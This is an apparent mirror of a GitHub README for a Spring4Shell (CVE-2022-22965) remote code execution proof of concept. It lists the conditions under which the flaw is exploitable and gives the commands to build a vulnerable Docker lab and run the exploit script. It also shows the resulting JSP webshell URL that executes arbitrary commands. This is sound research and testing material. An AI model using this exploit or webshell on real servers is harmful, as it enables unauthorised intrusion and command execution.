https://github.com/netcode/spring4shell-cve-2022-22965-poc
Another spring4shell (Spring core RCE) POC
https://github.com/netcode/spring4shell-cve-2022-22965-poc
Last synced: about 1 year ago
JSON representation
Another spring4shell (Spring core RCE) POC
- Host: GitHub
- URL: https://github.com/netcode/spring4shell-cve-2022-22965-poc
- Owner: netcode
- Created: 2022-04-04T20:16:06.000Z (over 4 years ago)
- Default Branch: main
- Last Pushed: 2022-04-04T21:11:13.000Z (over 4 years ago)
- Last Synced: 2025-03-30T08:11:18.305Z (over 1 year ago)
- Language: Python
- Size: 456 KB
- Stars: 3
- Watchers: 2
- Forks: 3
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Spring4shell RCE vulnerability
This vulnerability affects Spring Core and allows an attacker to send a specially crafted HTTP request to bypass protections in the library’s HTTP request parser, leading to remote code execution.
More info [Here](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement)

In order for this vulnerability to be exploited, several conditions must be met
* Use JDK 9 or higher
* Have Apache Tomcat as the servlet container
* Be packaged as a traditional WAR (in contrast to a Spring Boot executable jar)
* Use the spring-webmvc or spring-webflux dependency
* Use Spring framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, or older versions
# POC
* Build the docker image
```
docker build . -t springshell-rce-poc
```
* Run the docker container
```
docker run --rm -p 8081:8080 --name springshell-rce-poc springshell-rce-poc
```
* Running the exploit
```
python exploit-poc.py --url "http://127.0.0.1:8081/"
```
The expected response
```
exploiting
Shell URL:http://127.0.0.1:8081/tomcatwar.jsp?pwd=j&cmd=whoami
```
If you accessed this url, it will run whatever command you want `cmd=`

If you ssh the container you will see a new file has been created `tomcatwar.jsp`
```
docker exec -it springshell-rce-poc /bin/bash
ls /usr/local/tomcat/webapps/ROOT
```